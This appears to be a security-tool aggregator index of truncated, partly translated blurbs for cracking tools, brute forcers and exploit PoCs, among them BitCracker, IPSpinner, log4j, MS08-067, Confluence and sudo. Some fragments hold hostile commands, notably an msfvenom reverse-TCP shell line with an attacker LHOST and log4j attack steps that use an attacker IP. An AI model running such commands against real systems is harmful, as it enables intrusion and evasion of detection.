bitcracker

BitCracker BitCracker is the first open source password cracking tool for storage devices Hard Disk, USB Pendrive, SD card, etc... encrypted with BitLocker, an encryption feature available on Windows Vista, 7, 8.1 and 10 Ultimate, Pro and Enterprise editions. BitLocker offers a number of differen...

bitcracker

BitCracker BitCracker は、BitLocker で暗号化されたストレージデバイス（ハードディスク、USB メモリ、SD カードなど）を対象とした、初のオープンソースパスワードクラッキングツールです。BitLocker は Windows Vista、7、8.1、10（Ultimate、Pro、Enterprise エディション）で利用可能な暗号化機能です。BitLocker は、Trusted Platform Module TPM、スマートカード、回復パスワード、ユーザー提供パスワードなど、ストレージデバイスを暗号化するためのいくつかの認証方法を提供します。...

Exploit for Missing Authentication for Critical Function in Smartertools Smartermail

SmarterMail ConnectToHub RCE A Python-based exploit for CVE...

Exploit for Missing Authentication for Critical Function in Smartertools Smartermail

SmarterMail ConnectToHub RCE A Python-based exploit for CVE...

brutto

brutto 轻松对任何目标进行暴力破解，其魔力在于递增数值并直接生效。 实现 克隆 git clone https://github.com/jofpin/brutto.git 下载最新版本 用Python安装：python setup.py install root@kitploit: So you import the library from bruttoeasy import Brutto 如何使用 包含所有字母（A - Z），区分大小写。 所有数字都会体现在过程中（0-9） 同样包含所有符号和空格。 设置 scope（范围） letters（字母） numbers（数字）...

brutto

brutto Easy brute forcing to whatever you want, Its magic increasing values and direct. Implementation Clone git clone https://github.com/jofpin/brutto.git Download the latest version Install with Python: python setup.py install root@kitploit: So you import the library from bruttoeasy import Brut...

CVE-2026-70481

CVE-2026-70481 Open WebUI 受影响版本为 0.5.0 至 0.10.2，已在 0.11.0 中修复。中危，CVSS 5.4，CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L，CWE-284 和 CWE-862。 在 backend/openwebui/routers/channels.py 中，消息更新和删除处理程序根据频道类型进行分支，而这两个分支提出的问题不同。群组和私信频道仅限作者本人操作。 root@kitploit: if channel.type in 'group', 'dm': if not await...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload root@kitploit: PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

log4j

💻 -h3x0v3rl0rd- 利用 log4j CVE-2021-44228（TryHackMe Solar 演练） root@kitploit: git clone https://github.com/n3rdh4x0r/log4j.git 1. 运行 log4j.py（这将安装所有必要的应用程序并启动 LDAP 服务器） root@kitploit: ifconfig tun0 python3 log4j.py 10.8.227.251 2. 将攻击者 IP 添加到 Exploit.java 文件中 3. 编译 payload root@kitploit: javac...

Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion

此仓库包含一个使用名为 Aligned Chunk Confusion 的利用技术的 PoC 漏洞利用程序。 有关该技术的详细信息可在论文中找到。 该漏洞利用程序利用 Windows 内核堆中的堆溢出，将权限从 Low 提升到 SYSTEM。 研究 该研究的目标是开发一个针对内核 Pool 中堆溢出漏洞的通用漏洞利用程序。 在利用堆溢出时，易受攻击对象（发生溢出的对象）的大小非常重要，因为它会影响该对象的分配位置和分配方式。此外，其所在池的类型也会因相同原因而同样重要。 因此，为做到通用，该漏洞利用程序必须： 能在这两种主要池类型 PagedPool 和 NonPagedPoolNx 中...

MS08-067

MS08-067 | CVE-2008-4250 参考： https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN 生成 Shellcode 我们将使用 msfvenom 生成 shellcode。 root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

Arkhota

Arkhota, a web brute forcer for Android What? Arkhota is a web HTTP/S brute forcer for Android OS. Why? A web brute forcer is always in a hacker's computer, for obvious reasons. Sometimes attacks require to be quick or/and with minimal device preparation. Also a phone takes less attention rather...

samsung-q60t-exploit

Exploit de Tizen Descripción Script de exploit y descifrado de firmware presentado en Grehack 2021. Las diapositivas están disponibles dentro del directorio slides . y el video de la repetición enYoutube . Directorios Este repositorio contiene tres directorios: exploit/: contiene el exploit de v8...

Radmin3-Password-Cracker

Radmin Server 3 转储/破解工具 关于此工具的更多背景信息，请参阅 https://www.synacktiv.com/publications/cracking-radmin-server-3-passwords.html ! 使用方法 : 步骤 1 : 从 HKEYLOCALMACHINE\SOFTWARE\WOW6432Node\Radmin\v3.0\Server\Parameters\Radmin Security 恢复 Radmin Server 3 用户信息。这里可能有多个注册表键，每个用户一个。使用 regedit.exe...

IPSpinner

🔁 IPSpinner IPSpinner 是一个本地代理，可用于将收到的所有请求通过不同的选定提供商进行重定向。其目的是创建一个透传代理，为每个请求轮换源 IP 地址。例如，通过 IPSpinner 运行暴力破解操作有助于避免被检测，因为服务器将从数百个不同的 IP 地址收到请求。 IPSpinner 目前支持 AWS（API Gateway）、Azure（Cloud Shell）和 GitHub（GitHub Actions）。 目录 1. 工作原理 1. 概述 2. 提供商与启动器 1. AWS API Gateway 2. Azure Cloud Shell 3. GitHub...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server This vulnerability could allow an attacker to take complete control of a vulnerable Confluence server. This could allow the attacker to steal data, modify data, or disrupt the availability of the server. Poc Create a JavaScript file and giv...

kiterunner

Kiterunner Introduction For the longest of times, content discovery has been focused on finding files and folders. While this approach is effective for legacy web servers that host static files or respond with 3xx’s upon a partial path, it is no longer effective for modern web applications,...

kiterunner

Kiterunner はじめに 長い間、コンテンツディスカバリーはファイルやフォルダを見つけることに焦点が当てられてきました。このアプローチは、静的ファイルをホストしたり、部分的なパスに対して3xxで応答する従来のWebサーバーには効果的ですが、現代のWebアプリケーション、特にAPIではもはや有効ではありません。 時間の経過とともに、より大きなワードリストを使用できるようにコンテンツディスカバリーツールを高速化するために多くの時間が投資されてきましたが、コンテンツディスカバリーの技術そのものは革新されてきませんでした。...

CVE-2021-43798-Grafana-Exp

Grafana V8. Arbitrary File Read Exploit – Batch Verification Script Vulnerability Description Grafana is an open-source metrics analysis and visualization suite. It is commonly used as a visualizer for time series data and application analytics in infrastructure, and is also widely adopted in oth...

CVE-2021-3156

CVE-2021-3156 toc Vulnerability Overview Vulnerability ID: CVE-2021-3156 Vulnerability Score: Affected Product: Linux sudo Affected Versions: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1 Exploitation Conditions: Linux local; sudo is suid and executable Impact: Local privilege escalation Source Code:...